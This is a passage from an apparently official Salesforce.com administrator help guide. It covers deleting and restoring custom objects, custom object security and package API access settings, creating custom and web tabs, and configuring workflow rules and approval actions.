data stored in it, or permanently erase the object and its data. After 45 days, the object and its data are permanently erased.
If a user clicks a bookmark to a deleted custom object record's URL, Salesforce.com displays an Insufficient
Privileges message. For more information on restoring custom objects, see Managing Deleted Custom Objects on
page 1389.
• Until permanently erased, the custom object and its data still count against the maximum number of items allowed in your
organization. To view a list of the maximum number of custom objects, fields, and other items allowed in your organization,
see Salesforce.com Editions and Limits on page 1584.
• When you delete a custom object, Salesforce.com does the following:
- Removes the object from Force.com AppExchange packages.
- If the deleted object is on the detail side of a master-detail relationship, changes the master-detail relationship to a
lookup relationship.
- Permanently erases:
- The object's data records currently in the Recycle Bin
- Custom tab, which is removed from any custom apps
- List views for the object
- Workflow rules and actions that use the object
- Mobile configuration settings, including data sets, mobile views, and excluded fields
- If the deleted object is on the detail side of a master-detail relationship:
- Standard report types associated with this object
- Reports based on standard report types

- Hides, inactivates, or disables:


- The custom object definition and all related definitions
- The object's data records and all related data records
- Custom report types for which this is the main object
- Custom reports for which this is the main object

1388
Create Managing Deleted Custom Objects

- Custom formula fields on the object


- Custom validation rules and approval processes on the object
Salesforce.com restores these items if you restore the custom object.

• You cannot delete a custom object if it is on the master side of a master-detail relationship. When you delete a custom
object that is on the detail side of a master-detail relationship, the relationship is converted to a lookup relationship. If you
restore the custom object, you must manually convert it to a master-detail. See Changing Custom Field Type on page
986.
• You cannot delete a custom object if it is a target object in an analytic snapshot.
• You cannot delete a custom object that contains custom fields that are used in a roll-up summary field for another object.
• Page layouts on a custom object are deleted and restored with it. However, custom object data can also exist on page layouts
for other objects in the form of related lists. These related lists remain until you edit the page layout, at which time
Salesforce.com permanently removes any items relating to the deleted custom object.
• You cannot delete a custom object if it is referenced in:
- An Apex script
- A Visualforce page
- An analytic snapshot

See Also:
Managing Deleted Custom Objects

Managing Deleted Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To restore deleted custom objects: “Customize Application”
To permanently delete custom objects: “Customize Application”

When you delete a custom object, Salesforce.com does not list it in the Recycle Bin with other deleted records. Instead, deleted
objects appear in the Deleted Custom Objects list for 45 days. During this time you can restore an object and the data stored
in it, or permanently erase the object and its data. After 45 days, the object and its data are permanently erased. If a user clicks
a bookmark to a deleted custom object record's URL, Salesforce.com displays an Insufficient Privileges message.
Until permanently erased, the custom object and its data still count against the maximum number of items allowed in your
organization.
To view a list of your deleted custom objects:

1. Click Setup ➤ Create ➤ Objects.


2. Click Deleted Objects at the bottom of the list of custom objects. The number in parentheses indicates the total number
of deleted custom objects in your organization. This link only displays when you have a deleted custom object.
3. Use the list of deleted custom objects to perform the following actions:

1389
Create Custom Object Security

• To view details about an object, click the label.


• To permanently remove the custom object and its data, click Erase.
• To restore the object and its data, click Undelete. Some attributes of deleted custom objects are not automatically
restored. To restore these manually, complete the following steps:

- The developer name was changed to objectname_del. Edit the object to change the developer name.
- The custom object's Deployment Status field was set to In Development. When all changes impacted by the
delete have been restored, edit the object to change the status to Deployed.
- Add the custom object to any appropriate Force.com AppExchange packages. Salesforce.com automatically removes
deleted custom objects from packages that contain them.
- Recreate any custom tabs and list views for the custom object and add the custom tab to any custom apps as required.
- Rebuild any workflow rules on the object.
- Reactivate any custom validation rules for the object.
- Reactivate any approval processes for the object.
- Open and save any custom formula fields on the custom object to enable them.
- On the page layouts of other objects, add the custom object related list, button, or link to any page layouts that have
been edited while the object is deleted. Related lists, buttons, or links to this object are automatically restored if the
page layout is not edited while the object is deleted.
- For custom report types where the object is not the main object, add the reference to the custom object back to the
custom report types. Reports based on the custom report type are automatically restored if not edited while the
object is deleted. Recreate any reports that have been edited.
- If the deleted custom object is on the detail side of a master-detail relationship:

- Master-detail fields are converted to lookup fields when the object is deleted. Change the field types back to
master-detail.
- Reports based on the object are not restorable. Where appropriate, recreate the reports.

Note: It may take several hours before you can search for records in the object.

See Also:
Deleting Custom Objects

Custom Object Security


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Many different security settings work together so you can control access to your custom objects with great flexibility. Set
custom object security at the following different levels:

• Tab—display the custom tab for the appropriate users based on their user profiles.
• Object—set the access users have to create, read, edit, and delete records for each object.

1390
Create Custom Object Security

• Records—set the default sharing model for all your users. This determines the access users have to custom object records
that they do not own.
• Relationship—for objects on the detail side of a master-detail relationship, specify the sharing access that users must have
to the master record in order to create, edit, or delete the associated detail records. This is specified in the Sharing
Setting attribute of the master-detail relationship field on the detail object.
• Fields—set the level of access users have to fields on your custom object page layout.

The following requirements apply to custom objects with no master-detail relationship:

Action Required Privileges


Create a record “Create” permission on user profile. The user must have the
tab displayed to create a new record from the Create New
drop-down list in the sidebar.
View a record “Read” permission on user profile and Public Read Only or
Public Read/Write sharing model if not the record owner.
Edit a record “Edit” permission on user profile and Public Read/Write
sharing model if not the record owner.
Delete a record “Delete” permission on user profile and must be the record
owner or above the record owner in the role hierarchy.

The following requirements apply to custom objects that have a master-detail relationship with a standard or custom object:

Action Required Privileges


Create a record “Create” permission on user profile and either read or
read/write access to the related master record, depending on
the value of the Sharing Setting attribute of the
master-detail relationship field on the detail object.
View a record “Read” permission on user profile and read access to the related
master record. If the record has two master records in a
many-to-many relationship, the user must have read access to
both master records.
Edit a record “Edit” permission on user profile and either read or read/write
access to the related master record, depending on the value of
the Sharing Setting attribute of the master-detail
relationship field on the detail object.
Delete a record “Delete” permission on user profile and either read or
read/write access to the related master record, depending on
the value of the Sharing Setting attribute of the
master-detail relationship field on the detail object.
When a user deletes a record that has related custom object
records, all related custom object records are deleted regardless
of whether the user has delete permission to the custom object.

1391
Create Managing API and Dynamic Apex Access in Packages

Delegated administrators can manage nearly every aspect of specified custom objects, but they cannot create or modify
relationships on the object or set organization-wide sharing defaults.

See Also:
Setting Field-Level Security
Administrative and General Permissions on Profiles
Object Permissions on Profiles
Setting Your Organization-Wide Sharing Model
Defining Custom Objects

Managing API and Dynamic Apex Access in Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit API and dynamic Apex access for a package you have “Create AppExchange packages”
created or installed:
To accept or reject package API and dynamic Apex access for “Download AppExchange packages”
a package as part of installation:

API Access is a package setting that controls the dynamic Apex and API access that s-controls and other package components
have to standard and custom objects. The setting displays for both the developer and installer on the package detail page. With
this setting:

• The developer of an AppExchange package can restrict API access for a package before uploading it to Force.com
AppExchange. Once restricted, the package components receive Apex and API sessions that are restricted to the custom
objects in the package. The developer can also enable access to specific standard objects, and any custom objects in other
packages that this package depends on.
• The installer of a package can accept or reject package access privileges when installing the package to his or her organization.
• After installation, an administrator can change Apex and API access for a package at any time. The installer can also enable
access on additional objects such as custom objects created in the installer’s organization or objects installed by unrelated
packages.

Setting API and Dynamic Apex Access in Packages


To change package access privileges in a package you or someone in your organization has created:
1. Click Setup ➤ Create ➤ Packages.
2. Select a package.
3. The API Access field displays the current setting, Restricted or Unrestricted, and a link to either Enable
Restrictions or Disable Restrictions. If Read, Create, Edit, and Delete access are not selected in the API access
setting for objects, users do not have access to those objects from the package components, even if the user has the “Modify
All Data” and “View All Data” permissions.
Use the API Access field to:

1392
Create Managing API and Dynamic Apex Access in Packages

Enable Restrictions
This option is available only if the current setting is Unrestricted. Select this option if you want to specify the
dynamic Apex and API access that package components have to standard objects in the installer's organization. When
you select this option, the Extended Object Permissions list is displayed. Select the Read, Create, Edit, or Delete
checkboxes to enable access for each object in the list. This selection is disabled in some situations. Click Save when
finished. For more information about choosing the Restricted option, including information about when it is
disabled, see Considerations for API and Dynamic Apex Access in Packages on page 1700.

Disable Restrictions
This option is available only if the current setting is Restricted. Select this option if you do not want to restrict
the Apex and API access privileges that the components in the package have to standard and custom objects. This
option gives all the components in the package the same API access as the user who is logged in. For example, if a
user can access accounts, an Apex class in the package that accesses accounts would succeed when triggered by that
user.

Restricted
Click this link if you have already restricted API access and wish to edit the restrictions.

Accepting or Rejecting API and Dynamic Apex Access Privileges During Installation
To accept or reject the API and dynamic Apex access privileges for a package you are installing:
• Start the installation process on Force.com AppExchange. For more information, see Installing a Package on page 1692.
• In Approve API Access, either accept by clicking Next, or reject by clicking Cancel. Complete the installation steps if
you have not cancelled.

Changing API and Dynamic Apex Access Privileges After Installation


To edit the package API and dynamic Apex access privileges after you have installed a package:
1. Select Setup ➤ View Installed Packages.
2. Click the name of the package you wish to edit.
3. The API Access field displays the current setting, Restricted or Unrestricted, and a link to either Enable
Restrictions or Disable Restrictions. If Read, Create, Edit, and Delete access are not selected in the API access
setting for objects, users do not have access to those objects from the package components, even if the user has the “Modify
All Data” and “View All Data” permissions.
Use the API Access field to:
Enable Restrictions
This option is available only if the current setting is Unrestricted. Select this option if you want to specify the
dynamic Apex and API access that package components have to standard objects in the installer's organization. When
you select this option, the Extended Object Permissions list is displayed. Select the Read, Create, Edit, or Delete
checkboxes to enable access for each object in the list. This selection is disabled in some situations. Click Save when
finished. For more information about choosing the Restricted option, including information about when it is
disabled, see Considerations for API and Dynamic Apex Access in Packages on page 1700.

Disable Restrictions
This option is available only if the current setting is Restricted. Select this option if you do not want to restrict
the Apex and API access privileges that the components in the package have to standard and custom objects. This
option gives all the components in the package the same API access as the user who is logged in. For example, if a
user can access accounts, an Apex class in the package that accesses accounts would succeed when triggered by that
user.

1393
Create What is a Custom Tab?

Restricted
Click this link if you have already restricted API access and wish to edit the restrictions.

What is a Custom Tab?


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions
Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

A custom tab is a user interface component you create to display custom object data or other web content embedded in the
application.
The following types of custom tabs are available:

• Custom Object Tabs display the data of your custom object in a user interface tab. Custom object tabs look and function
just like standard tabs. See Creating Custom Object Tabs on page 1395.
• Custom Web Tabs display any external Web-based application or Web page in a Salesforce.com tab. You can design Web
tabs to include the sidebar or span across the entire page without the sidebar. See Creating Web Tabs on page 1397.
• Apex Page Tabs display data from a Visualforce page. Visualforce page tabs look and function just like standard tabs. See
Creating Visualforce Tabs on page 1611.

See Also:
Defining Custom Apps
What is an App?
Defining Object-Level Help

Defining Custom Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions
Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit custom tabs: “Customize Application”

Custom tabs display custom object data or other web content embedded in the application. For the total number of custom
tabs you can create, see Salesforce.com Editions and Limits on page 1584.

• Custom Object Tabs - Create a tab for your custom object data. See Creating Custom Object Tabs on page 1395.
• Web Tabs - Create a tab to display other web content. See Creating Web Tabs on page 1397.

1394
Create Defining Custom Tabs

• Apex Page Tabs - Create a tab that displays a Visualforce page. See Creating Visualforce Tabs on page 1611.

Delegated administrators who can manage specified custom objects can also create and customize tabs for those custom objects.
See Delegating Administrative Duties on page 581.

See Also:
What is a Custom Tab?

Creating Custom Object Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions
Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit custom tabs: “Customize Application”

Define a new tab to display the data stored in your custom object records.

1. Click Setup ➤ Create ➤ Tabs.


2. Click New in the Custom Object Tabs related list.
3. Select the custom object to display in the custom tab. If you have not already created the custom object, click create a new
custom object now and follow the instructions in Defining Custom Objects on page 1369.
The label of the new tab is the same as the plural version of the custom object label, as described in Defining Custom
Objects on page 1369.
4. Click the Tab Style lookup icon to display the Tab Style Selector.
If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over
the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter
this list.
5. Click a tab style to select the color scheme and icon for the custom tab.
Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your
organization has access to the Documents tab. To create your own tab style:

a. Click the Color lookup icon to display the color selection dialog and click a color to select it.
b. Click Insert an Image, select the document folder, and select the image you want to use.
Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes
your search term.
Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available
checkbox selected in the document property settings. For more information, see uploading images and document

1395
Create Defining Custom Tabs

property settings. If the document used for the icon is later deleted, Salesforce.com replaces it with a default

multicolor block icon ( ).

c. Select a file and click OK. The New Custom Tab wizard reappears.

6. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. For details about
creating a custom link to use as a splash page for your custom tab, see Defining Custom Buttons and Links on page 990.
7. Enter a description of the tab, if desired, and click Next.
8. Choose the user profiles for which the new custom tab will be available:

• Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down
list.
• Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab
Hidden from the drop-down list for each profile.

For Professional Edition users and Salesforce Platform One license users, tab visibility is automatically set to Default On.
9. Specify Tab Visibility.
For Enterprise, Unlimited, Developer Edition, and organizations, choose Default On, Default Off, or Tab Hidden in Tab
Visibility to determine whether the custom tab is visible to users with that profile, and click Next. For Professional
Edition organizations, tab visibility is automatically set to Default On. Salesforce Platform One license users, tab visibility
is automatically set to Default On.
If you choose Default On or Default Off, an option is added to the Create New drop-down list in the sidebar so that
users with the “Create” permission can quickly create a new record. For example, if the custom object displayed in the
custom tab is named Expenses, an Expense option appears in this list.
10. Specify the custom apps that should include the new tab. See What is an App? on page 1361 for information on custom
apps.
11. Check Append tab to users' existing personal customizations to add the new tab to your users’ customized
display settings if they have customized their personal display.
12. Click Save.

To further customize the tab:

• Define the page layout for records displayed in the tab. The page layout controls which fields are visible and editable when
users are entering data in the custom tab. For details, see Building Page Layouts for Custom Objects on page 1385.
• Specify which fields display to users in the key lists section of the custom object tab home page. For details, see Customizing
Search Layouts for Custom Objects on page 1386.

See Also:
Creating Custom Object Tabs

1396
Create Defining Custom Tabs

Creating Web Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions
Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit custom tabs: “Customize Application”

Build web tabs so that your users can use your web applications or other websites from within the application.
1. Click Setup ➤ Create ➤ Tabs.
2. Click New in the Web Tabs related list.
3. Choose a layout for the new tab. The full page width spans across the entire page without the sidebar while the column
style allows users to view the sidebar.
4. Click Next.
5. Choose URL for tab type. Choose Custom S-Control if you have previously created a custom s-control that you want
displayed in the web tab. See Defining Custom S-Controls on page 1622.
6. Enter a label to display on the tab.
7. Click the Tab Style lookup icon to display the Tab Style Selector.
If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over
the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter
this list.
8. Click a tab style to select the color scheme and icon for the custom tab.
Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your
organization has access to the Documents tab. To create your own tab style:

a. Click the Color lookup icon to display the color selection dialog and click a color to select it.
b. Click Insert an Image, select the document folder, and select the image you want to use.
Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes
your search term.
Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available
checkbox selected in the document property settings. For more information, see uploading images and document
property settings. If the document used for the icon is later deleted, Salesforce.com replaces it with a default

multicolor block icon ( ).

c. Select a file and click OK. The New Custom Tab wizard reappears.

9. Change the content frame height if necessary.


10. Optionally, select the Mobile Ready checkbox to indicate that the web page displays and functions properly in a mobile
web browser.

1397
Create Managing Custom Tabs

Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. See Managing Mobile Tabs
on page 756 for information on how to mobilize tabs. Review the considerations for ensuring that the pages in your web
tabs are compatible with mobile browsers before mobilizing a web tab.
Note that the Mobile Ready checkbox is only visible if Salesforce Mobile is enabled for your organization.
11. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. See Defining
Custom Buttons and Links on page 990 for information about creating a custom link to use as a splash page for your custom
tab. Note that splash pages do not display in the mobile application. Avoid using a splash page if you plan to mobilize the
web tab.
12. Enter a description of the tab, if desired, and click Next.
13. Enter the URL or choose the custom s-control that you want to display in the tab. Optionally, copy and paste any merge
fields for data that you want replaced in the link dynamically.
Remember to include the http:// before your URL. User, organization, and API merge fields are available for web tabs.
For details about using merge fields, see Merge Fields Overview on page 414.
Optionally, click the preview link to display your web tab.
14. For a URL, choose an encoding setting and click Next.
15. Add the web tab to the appropriate profiles. In Tab Visibility, choose Default On, Default Off, or Tab Hidden to
determine whether the custom tab is visible to users with that profile. The administrator can change this setting later.
16. Check Append tab to users' existing personal customizations to apply the tab visibility settings to all
users.
17. Specify the custom apps that should include the new tab. See What is an App? on page 1361 for information on custom
apps.
18. Click Save.

Managing Custom Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions
Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom tabs: “Customize Application”

After creating your custom tabs, you can edit or delete them. Click Setup ➤ Create ➤ Tabs to display a list of your
organization’s custom tabs, web tabs, and Visualforce tabs. Use this page to view, create, edit, or delete custom tabs.

• To view details for a custom tab, click the custom tab name.
• To change the properties of a custom tab, click Edit, make the appropriate changes, and click Save. Before changing the
Splash Page Custom Link, see Defining Home Tab Components on page 1040 for information about creating a custom
link to use as a splash page for your custom tab.
• To remove a custom tab, click Del.

1398
Create Managing Workflow and Approvals

• To create a new custom tab, click New. See Creating Custom Object Tabs on page 1395, Creating Web Tabs on page 1397,
or Creating Visualforce Tabs on page 1611.
• To share custom tabs with other users on Force.com AppExchange, see Overview of Packages on page 1488.
• To enable Visualforce or web tabs for mobile users, edit the properties of the tabs and select the Mobile Ready checkbox.
See Creating Visualforce Tabs on page 1611 and Creating Web Tabs on page 1397. For more information about customizing
tabs in the mobile application, see Managing Mobile Tabs on page 756.
• To create apps that can be upgraded, see Enabling Managed Packages for Your Organization on page 1493.

Managing Workflow and Approvals


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view workflow rules and approval processes: “View Setup and Configuration”
To create or change workflow rules and approval processes: “Customize Application”

Your sales force operates more efficiently with standardized internal procedures and automated business processes. Set up
Salesforce.com to automatically perform these procedures and processes based on your organization’s needs.
Begin by designing workflow rules and approval processes, and associating them with workflow actions, such as email alerts,
tasks, field updates, or outbound messages.

Terminology
Workflow Rule
A workflow rule sets workflow actions into motion when its designated conditions are met. You can configure workflow
actions to execute immediately when a record meets the conditions in your workflow rule, or set time triggers that execute
the workflow actions on a specific day. If a workflow action has not executed yet, you can view and modify it in the
Workflow Queue. See Managing Workflow Rules to get started using workflow rules. For a list of the maximum number
of rules allowed in each organization, see Salesforce.com Editions and Limits.

Approval Process
An approval process is an automated process your organization can use to approve records in Salesforce.com. An approval
process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply
to all records included in the process, or just records that have certain attributes. An approval process also specifies the
actions to take when a record is approved, rejected, recalled, or first submitted for approval. See Managing Approval
Processes to get started using approval processes.

Workflow and Approval Actions


Workflow and approval actions consist of email alerts, tasks, field updates, and outbound messages that can be triggered
by a workflow rule or approval process.

Email Alert
Email alerts are workflow and approval actions that are generated using an email template by a workflow rule or approval
process and sent to designated recipients, either Salesforce.com users or others. See Managing Email Alerts to get started
using email alerts.

1399
Create Managing Workflow Rules

Field Update
Field updates are workflow and approval actions that specify the field you want updated and the new value for it.
Depending on the type of field, you can choose to apply a specific value, make the value blank, or calculate a value based
on a formula you create. See Managing Field Updates to get started using field updates.

Task
Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task.
Tasks are workflow and approval actions that are triggered by workflow rules or approval processes. See Managing Tasks
for Workflow and Approvals to get started using tasks.

Outbound Message
An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint
you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a
SOAP message to the endpoint. See Managing Outbound Messages to get started using outbound messages.

See Also:
Creating Email Alerts for Workflow, Approvals, or Milestones
Creating Tasks for Workflow, Approvals, or Milestones
Defining Field Updates
Defining Outbound Messages
Creating Workflow Rules
Examples of Workflow Rules
Customizing Workflow and Approval Settings
Administrator tip sheet: Workflow: Automating The Process
Differences Between Auto-Response Rules and Workflow Alerts
Creating Approval Processes

Managing Workflow Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view workflow rules: “View Setup and Configuration”
To create or change workflow rules: “Customize Application”

Automate your organization’s standard processes by configuring workflow rules.


Workflow automates the following types of actions:

• Email Alerts—Send an email to one or more recipients. For example, automatically send sales management an email alert
when a sales representative qualifies a large deal.
• Tasks—Assign a new task to a user, role, or record owner. For example, automatically assign follow-up tasks to a support
representative one week after a case is updated.

1400
Create Managing Workflow Rules

• Field Updates—Update the value of a field on a record. For example, automatically change the Owner field on a contract
three days before it expires.
• Outbound Messages—Send a secure configurable API message (in XML format) to a designated listener. For example,
automatically initiate the reimbursement process for an approved expense report by triggering an outbound API message
to an external HR system.

Configure your organization’s workflow by creating workflow rules. Each workflow rule consists of:

• Criteria that determine when Salesforce.com executes the workflow rule. Any change that causes a record to match this
criteria can trigger the workflow rule—even changes to hidden fields.
• Immediate actions to take when the workflow rule executes. For example, Salesforce.com can automatically send an email
that notifies the sales team when a new high-value opportunity is created.
• Time-dependent actions that Salesforce.com queues when the workflow rule executes. For example, Salesforce.com can
automatically send an email reminder to the account team if a high-value opportunity is still open ten days before the
specified close date. When Salesforce.com triggers a workflow rule that has time-dependent actions, you can use the
workflow queue to monitor and cancel pending actions.
If you plan on configuring workflow rules that have time-dependent actions, specify a default workflow user. Salesforce.com
associates the default workflow user with a workflow rule if the user who initiated the rule is no longer active.
To get started using workflow rules, click Setup ➤ Create ➤ Workflow & Approvals ➤ Workflow Rules. From this page,
you can:

• Click New Rule to create a new workflow rule.


• Select an existing rule to view its details, clone it, activate and deactivate it, or view and edit actions and time triggers.
• Click Edit to make changes to a workflow rule.
• Click Del to delete a workflow rule.
Note: You cannot delete a workflow rule that has pending actions in the workflow queue. Wait until pending
actions are processed, or use the workflow queue to cancel the pending actions.

• Click Activate to set a rule into action. Click Deactivate to prevent the rule from firing when its conditions are met. Note
the following:

- You can deactivate a workflow rule at any time. However, if you deactivate a rule that has pending actions, Salesforce.com
completes those actions as long as the record that triggered the rule is not updated.
- You cannot add time-dependent workflow actions to active workflow rules. Deactivate the workflow rule first, add the
time-dependent workflow action, and reactivate the rule.

1401
Create Managing Workflow Rules

Tip: You can use the System Log console to debug workflow rules. The System Log console lets you view debug log
details and information about workflow rules and actions , such as the name of the user who triggered the workflow
rule and the name and ID of the record being evaluated.

See Also:
Creating Workflow Rules
Notes on Using Workflow Rules
Examples of Workflow Rules
Managing Workflow and Approvals
Managing Email Alerts
Managing Tasks for Workflow and Approvals
Managing Field Updates
Defining Outbound Messages
Differences Between Auto-Response Rules and Workflow Alerts

Creating Workflow Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change workflow rules, email alerts, tasks, field “Customize Application”
updates, and outbound messages:

Watch a Demo (2:40 minutes)


Automate your organization’s standard processes by configuring workflow rules.
Workflow automates the following types of actions:

• Email Alerts—Send an email to one or more recipients. For example, automatically send sales management an email alert
when a sales representative qualifies a large deal.
• Tasks—Assign a new task to a user, role, or record owner. For example, automatically assign follow-up tasks to a support
representative one week after a case is updated.
• Field Updates—Update the value of a field on a record. For example, automatically change the Owner field on a contract
three days before it expires.
• Outbound Messages—Send a secure configurable API message (in XML format) to a designated listener. For example,
automatically initiate the reimbursement process for an approved expense report by triggering an outbound API message
to an external HR system.

To create a new rule:

1. Select the object to which the workflow rule applies.

1402
Create Managing Workflow Rules

2. Configure the workflow rule settings and criteria.


3. Configure the workflow actions.
4. Activate the workflow rule.

Select the Object for Your Workflow Rule


1. Click Setup ➤ Create ➤ Workflow & Approvals ➤ Workflow Rules.
2. On the workflow rules list page, click New Rule.
3. Choose a custom or standard object to which you want this workflow rule to apply.
Note:

• If you have a workflow action that updates a field on a related object, that target object is not the one associated
with the workflow rule.
• To create workflow rules based on new case comments or incoming email messages that automatically update
fields on their associated cases, choose either Case Comment or Email Message. See Notes on Using Workflow
Rules for more information.
• To create a site usage rule, choose either Organization (for monthly page views allowed and monthly page
views used fields) or Site (for site detail, daily bandwidth and request time, monthly page views allowed, and
other fields). These objects are only available if Force.com sites are enabled for your organization.
• You cannot create email alerts for workflow rules on activities.

4. Click Next.

Configure Rule Settings and Criteria


1. Enter a rule name.
2. Optionally, enter a description for the rule.
3. Choose the evaluation criteria:

• When a record is created, or when a record is edited and did not previously meet the
rule criteria: Choose this option to include new records and updates to existing records, unless the rule just ran
and still meets the rule criteria. The rule is not re-triggered on edits that do not affect rule criteria. For example, if
setting an opportunity rating to “Hot” causes the rule to run, with this option, the rule will run again only if the rating
changes, then changes back to “Hot”—no matter how many times you edit the object.
• Only when a record is created: Choose this option to ignore updates to existing records.
• Every time a record is created or edited: Choose this option to include new records and updates to
existing records and repeatedly trigger the rule, even if the record still meets the criteria. You cannot add time-dependent
actions to the rule if you choose Every time a record is created or edited.
Note: You can't add time-dependent actions to a rule if you choose Every time a record is created
or edited.

4. Enter your rule criteria:

• Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set
the filter to “Opportunity: Amount greater than 5000” if you want opportunity records with an amount greater than

1403
Create Managing Workflow Rules

$5,000 to trigger the rule. If your organization uses multiple languages, enter filter values in your organization's default
language. You can click the Advanced Options... link to add up to 25 filter criteria, up to 255 characters.
• Choose formula evaluates to true and enter a formula that returns a value of “True” or “False.” Salesforce.com
triggers the rule if the formula returns “True.” Examples of useful workflow formulas include:

- If the number of filled positions equals the number of total positions on a job, update the Job Status field to
“Filled.”
- If mileage expenses associated with visiting a customer site are 35 cents per mile and exceed a $1,000 limit,
automatically update the Approval Required field to “Required.”
- If a monthly subscription-based opportunity amount is greater than $10,000, create a task for an opportunity owner
to follow up 60 days after the opportunity is closed.

Some functions on page 931 are not available in workflow rule formulas. You cannot create a formula in which a custom
object references fields on a parent object.
Tip: You can use merge fields for directly related objects in workflow rule formulas. For more information,
see Merge Fields Overview.

5. Click Save & Next.

Configure Workflow Actions


Add immediate and time-dependent actions to the workflow rule. Immediate actions trigger once evaluation criteria are met.
Time-dependent actions specify when Salesforce.com executes the workflow action. For example, Salesforce.com can
automatically send an email reminder to the account team if a high-value opportunity is still open ten days before the specified
close date.
Tip: Time-dependent actions and time triggers are complex features with several considerations.
If you plan on configuring workflow rules that have time-dependent actions, specify a default workflow user.
Salesforce.com associates the default workflow user with a workflow rule if the user who initiated the rule is no longer
active.

1. Add a workflow action:

• To add an immediate workflow action, click Add Workflow Action in the Immediate Workflow Actions section and
select:

- New Task to create a task to associate with the rule


- New Email to create an email alert to associate with the rule
- New Field Update to define a field update to associate with the rule
- New Outbound Message to define an outbound message to associate with the rule
- Select Existing Action to select an existing action to associate with the rule

• To add a time-dependent workflow action, click Add Time Trigger in the Time-Dependent Workflow Actions section
and:

a. Specify a number of days or hours before or after a date relevant to the record, such as the date the record was
created or modified. If the workflow rule is in effect when this time occurs, the time trigger fires the workflow
action.
b. Click Save.

1404
Create Managing Workflow Rules

Note: The Add Time Trigger button is unavailable if:

- The rule criteria is set to Every time a record is created or edited


- The rule is activated
- The rule is deactivated but has pending actions in the workflow queue

2. Configure additional immediate or time-dependent actions.


3. Click Done.

Note: For standard objects, workflow rules can only perform field updates on the object related to the rule. The
exceptions are that both Case Comments and Email Messages can perform cross-object field updates on Cases. For
all custom objects, however, you can create workflow actions where a change to a detail record updates a field on the
related master record. Cross-object field updates only work for custom-to-custom master-detail relationships. For
example, in a custom recruiting application, create a workflow rule that sets the status of an application (the master
object) to “Closed” when a candidate (the detail object) accepts the job. Or, for standard objects, create a rule to change
the status of a case from “Awaiting Customer Response“ to “In Progress” when a customer adds a case comment.
The cross-object field update function may depend on certain critical updates being active. Click Setup ➤ Critical
Updates to see if your organization requires any updates.

Activate the Workflow Rule


Salesforce.com does not trigger a workflow rule until you activate it. To activate a workflow rule, click Activate on the workflow
rule detail page. Click Deactivate to prevent a rule from triggering or if you want to edit the time-dependent actions and time
triggers associated with the rule.

Notes on Using Workflow Rules


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view workflow rules: “View Setup and Configuration”
To create or change workflow rules: “Customize Application”

Consider the following when configuring workflow rules:

• Each workflow rule applies to a single object, such as leads, accounts, or opportunities. For the maximum number of
workflow rules allowed on an object, see Salesforce.com Editions and Limits on page 1584.
• For standard objects, workflow rules can only perform field updates on the object related to the rule. The exceptions are
that both Case Comments and Email Messages can perform cross-object field updates on Cases. For all custom objects,
however, you can create workflow actions where a change to a detail record updates a field on the related master record.
Cross-object field updates only work for custom-to-custom master-detail relationships. For example, in a custom recruiting
application, create a workflow rule that sets the status of an application (the master object) to “Closed” when a candidate

1405
Create Managing Workflow Rules

(the detail object) accepts the job. Or, for standard objects, create a rule to change the status of a case from “Awaiting
Customer Response“ to “In Progress” when a customer adds a case comment.
• The cross-object field update function may depend on certain critical updates being active. Click Setup ➤ Critical Updates
to see if your organization requires any updates.
• Workflow rules can't be triggered by campaign statistic fields, including individual campaign statistics and campaign
hierarchy statistics. For a list of campaign fields that cannot trigger workflow rules, see Campaign Fields on page 2041.
• Workflow rules can be triggered any time a record is saved or created, depending on your rule criteria. However, rules
created after saving records aren't triggered by those records retroactively.
• Workflow rules are triggered when a standard object in a master-detail relationship is re-parented, even if the object's
evaluation criteria is set to When a record is created, or when a record is edited and did not
previously meet the rule criteria.
• Workflow rules only trigger on converted leads if validation and triggers for lead convert are enabled in your organization.
